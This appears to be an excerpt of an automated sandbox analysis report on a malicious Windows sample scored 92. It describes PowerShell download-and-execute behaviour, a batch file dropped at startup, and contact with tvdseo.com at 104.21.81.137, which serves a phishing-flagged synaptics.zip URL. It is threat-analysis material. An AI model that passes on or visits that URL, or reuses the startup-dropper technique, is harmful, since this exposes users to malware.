  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1562593 Sample: Compilation of videos and i... Startdate: 25/11/2024 Architecture: WINDOWS Score: 92 26 tvdseo.com 2->26 30 Antivirus detection for URL or domain 2->30 32 Yara detected Powershell download and execute 2->32 34 Sigma detected: Drops script at startup location 2->34 36 4 other signatures 2->36 7 cmd.exe 2 2->7         started        11 cmd.exe 1 2->11         started        signatures3 process4 file5 24 C:\Users\user\AppData\...\WindowsSecurity.bat, ASCII 7->24 dropped 38 Suspicious powershell command line found 7->38 40 Drops script or batch files to the startup folder 7->40 42 Tries to download and execute files (via powershell) 7->42 13 powershell.exe 14 16 7->13         started        16 powershell.exe 15 7->16         started        18 conhost.exe 7->18         started        22 2 other processes 7->22 20 conhost.exe 11->20         started        signatures6 process7 dnsIp8 28 tvdseo.com 104.21.81.137, 443, 49712 CLOUDFLARENETUS United States 13->28
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
104.21.81.137
 tvdseo.com United States
13335 CLOUDFLARENETUS false

Contacted Domains

Name IP Active
tvdseo.com 104.21.81.137 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://tvdseo.com/file/synaptics.zip true
  • Avira URL Cloud: phishing
 unknown